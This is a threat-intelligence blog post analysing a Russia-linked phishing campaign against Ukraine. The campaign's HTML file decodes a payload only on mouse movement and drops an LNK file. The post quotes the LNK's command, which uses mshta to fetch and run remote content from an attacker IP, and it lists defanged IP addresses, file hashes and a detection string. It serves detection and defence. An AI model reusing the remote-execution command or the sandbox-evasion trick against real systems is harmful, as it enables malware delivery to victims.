Russian Hackers Evade Detection with HTML Mouse Movement

Attackers and defenders are in a never ending cat-and-mouse game with vulnerabilities and countermeasures. Whether it be captchas, IP filtering, or password protection, threat actors are constantly looking for ways to aggravate detection – and irritate detection engineers. This Russia-nexus threat actor, targeting Ukraine, is no different.

TLDR: Be on the lookout for attacks that require you to jiggle the mouse before it will execute.

A customer recently asked about a curious file:

Figure 1: Original sample

With the ongoing invasion of Ukraine by their neighbor, threat analysts have their antennae tuned towards Russia-nexus threats, and the relative (lack of) prevalence of this stood out:

Figure 2: xhtml file, with the middle trimmed for visibility

Right away, one can notice that the actor will replace “*” with ““, but only after “onmousemove” is triggered. When executing this in a sandbox environment, make sure you’ve implemented something like a mouse jiggler. This file, and all files referenced, are available in our github at the end of the post.

After decoding the above code, one can see what appears initially to be a “rar” being written

Figure 3: decoded blob from Figure 2, with trimmed base64 for formatting

Despite the rar header and extension, this writes a 7z. Additionally, there is a remote 1px image fetched, likely to track execution. Noteworthy for signature creators – this attacker is interested in you, even if you’re still running Windows CE! (this is likely a copy/paste artifact from another source). Another oddity is the usage of http instead of https. The past decade of broad technology improvements have made https nearly as easy to deploy as http, so the lack of interest in getting a free conforming cert, on a server you control, is unusual.

Figure 4: Dropped “rar” and compressed LNK

The lnk leverages mshta to execute remote content, C:\Windows\System32\mshta.exe http://185.225.19[.]69/gm/decency.zip and was created by the hostname desktop-u5gf4op

Figure 5: Chain of execution

Leveraging the host artifact in the LNK, and the content match color:#fff" onmousemove=, we can leverage CARA to surface other interesting samples.

Figure 6: CARA helping find similar samples (coming next month, early beta available)

While researching this threat,we came across this tweet, which is describing the same campaign, but with attribution that does not match ours. One of the other associated samples was seen as an attachment in an email, and as expected, the phish targeted Ukraine.

Figure 7: Phishing email from their campaign, sourced from VirusTotal

Below we show the HTML files discovered by CARA, and their associated artifacts:other HTML examples seen on VirusTotal and similar servicesrar/zip name1px image url“rar” sha256eb0bf4fd7f6653c7083f3e691d566cecc0049e94308f54c8d64af34a54bc78a1 19.06.2024.rar http://194.180.191.72/c.19.06 9e774b37b930c3f0c79311f6de448bc5602e16edfef92f4ff09645f27217cdea 84bd6f3182ab398d5363fd6b8a375641e08c57318225714a618ffb6b6b10aefb 18.06.2024.rar http://185.225.19[.]13/c.18.06 a2376a67640be242bec5c9ffe46822abab2361f7210a8d9ad6333df45e67117f 841585615fc9cb62b0f8410f1a4df38e7d11cc4b48c54e75dcdc051e9308257e 11.06.2024.rar http://194.180.191[.]41/omr.11.06 062c25a86461f7f8d392e93bd97836773a889adbdbac9d2ce11e65860a4f2af2 00494102c3d9fd8ab40d8e7b3f8a1d4e30876257c18c45761922edf938970719 19.06.2024.rar http://194.180.191[.]34/siz.19.04 e21ac7085a3e38942016f3cb8db4d2f3ba0e7846c7ffb0cc7eb1d2bc0953d6d4 1543723a1dcc8f5638cd43c5882f132b554c248b334473098fc49ae007e8ee4e 18.04.2024.rar http://194.180.191[.]34/pr.18.04 4347d7b2d8d180978f4646ccc457be2de0d0c7db84896e1bcd250d2d834a37b1 268061a244d56a5347ae66364f6a1cf6ab5654d19086fae6d5607b95d8fc793c 06.06.2024.rar http://194.180.191[.]15/ods.06.06 1ec58003c6b7625935976bdfdf7d4a11228a57b32ce1eeece68a1ab48536bbc0 304e8e18068a34c6aed82d0ad744f94687c08842a51e525a87d22a65db2334e5 19.04.2024.rar http://194.180.191[.]34/gps.19.04 602b1284193f71ab87a9b8d656bfd858f113e2f1a9d85d8331740d2c852a075b 3afc8955057eb0bae819ead1e7f534f6e5784bbd5b6aa3a08af72e187b157c5b 11.06.2024.rar http://194.180.191[.]41/omr.11.06 4520da04e857ac097daa03500ed553ed49ec00e6fc0f349b977a11bbe1ec0924 3b5c1f5df0d1d76ee58cf859557f03df35692f2a57d10c111ebdec9f69ac4b34 04.06.2024.rar http://194.180.191[.]12/od.04.06 dbf1d945dd6869885a5effcda12e81a626079fb9bb66ede8bb58c3e5539465d2 406a09578b07415880b035cb8afd688465ffd28a9c7c46680987295ce50d8840 15.04.2024.zip http://94.158.247[.]32/sb.15.04 b0b962951434ff103d45db66096e04d468c757379081e6ef534da800ed6a6cef 4a98d11230dc0ab117534f78a9d626b754c0c9d7957a8d343a8f0e7a332f68ce 17.04.2024.zip http://94.158.247[.]32/moh.17.04 78e1b171afbae8b994792bb33a0bf41f39d596def43a6b3e1ac28d7dd27bb8ca 511eb0f06e4c528be6627d537b118bf4932f5a90adc81a3e986beea90f14fe77 15.04.2024.zip http://94.158.247[.]32/mou.15.04 4ade1dc7f4558df1ccc96433e5b26872ab283fcd39e4a3f070480ea62d3e9f30 55a49f62bdd66c6d6a84f476aa0f64a9b27376164ae1875e273ce9bec2eb7f43 19.04.2024.rar http://194.180.191[.]34/sukr.19.04 89feb40e4a98e3592054dbd8c4d47a9edbeb308659cf4d1ef9e3deba6f38a698 5cf828715c004f42eea066b4935511ecb42a4e150235faee482b06904af83cc7 03.05.2024.rar http://185.225.19[.]69/gm.03.05 40f3e18c474e02c71620c611e2e3827793d7f07d26cc49396be500baa37dc872 7ab474672b5b9a86fd1b00ab6ec5d2164ecab9cf846ebccb65202ed68d65eaf1 18.04.2024.rar http://194.180.191[.]34/prob.18.04 c901f2188065c443575a84249ce012faa735657b79e6dd5dc6697358d59fb574 8c8a3457007f6e2d1d75715d21b0423e9c6b90fd2e62f7b4398180017e3f768f 15.04.2024.zip http://94.158.247[.]32/odd.15.04 8d660b8e4b5ad82aeeee594545d400483662630d301e832ee35627695a746f95 908b8f5f73ab2dfc7bf3070868d219d1b45f8e2d1f560162dddfd6ce19ed7592 15.04.2024.zip http://94.158.247[.]32/sb.15.04 bccaa77cf271e8e2c4aaf9982154e8166445c05274d3f58a8352b5daf0ffa3c9 a459022936dbffe74089f1ed8160303f1fe909ff459842397d507c0b198a5ee1 17.04.2024.zip http://94.158.247[.]32/fes.17.04 15ce500029cae11a5b07ed654faa371ef0bb0eb9add630a1e03c58606ea35eb9 cddaa6af9fa15fb2e6a8bfffab0fade552331cedac28a179ee9f49dfef37aea1 24.04.2024.rar http://194.180.191[.]31/odes.24.04 a8e291d181c01f7e25e14910b60755d0d439ab1d8616ce0e122514b3fed3dc52 df7e86b3a3c577285b7d00671b93c759cf973a90f2cce0cbff1ace7247015c30 11.04.2024.zip http://94.158.247[.]32/pr.11.04 ee237449f2ad354fbe15e9505a96f6682dd66ca8277e93c7424c751d6da201ff e18cb739dbb3ab86803db71bf93d407a8bbabfa836eabc85a3133dfc126eb94b 23.04.2024.rar http://194.180.191[.]31/zaliz.23.04 ce3f4bd2a8c548165ec2a0f41d0bbd1ad5e87a2aebc026e82f15c956ba51ed3d eaec8cc4876f8e85f387cee5f1443ae48858f7b5b36be395ea0c139c1367d8de 06.06.2024.rar http://194.180.191[.]15/ods.06.06 7be88e131a6e180f32aab59734be70ac57d773c5b68bd7919dd32f6f6f9b3de1 eb49a27fb886dab6d90cb5f68e9c753ae408ee656aa942bebe7ac5b2fc68891a 24.04.2024.rar http://194.180.191[.]31/odes.24.04 1915bb1784b164307af70a70e3264cfe3bc3c82c43e49da59c0c592d4d29af43 Figure 8: Other associated HTML files and dropped archives

Lastly, below we show the dropped rar/zip/7zip, and their associated next stages:

Figure 9: Other associated LNK files and next stages

Figure 10: Other validated vendor names for this actor

Our github provides a download to both the raw samples mentioned in the blog, as well as the indicators mentioned.

Acknowledgements

The authors would like to thank the reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at research@strikeready.comresearch at strikeready dot com if you have corrections, or would like to collaborate on research.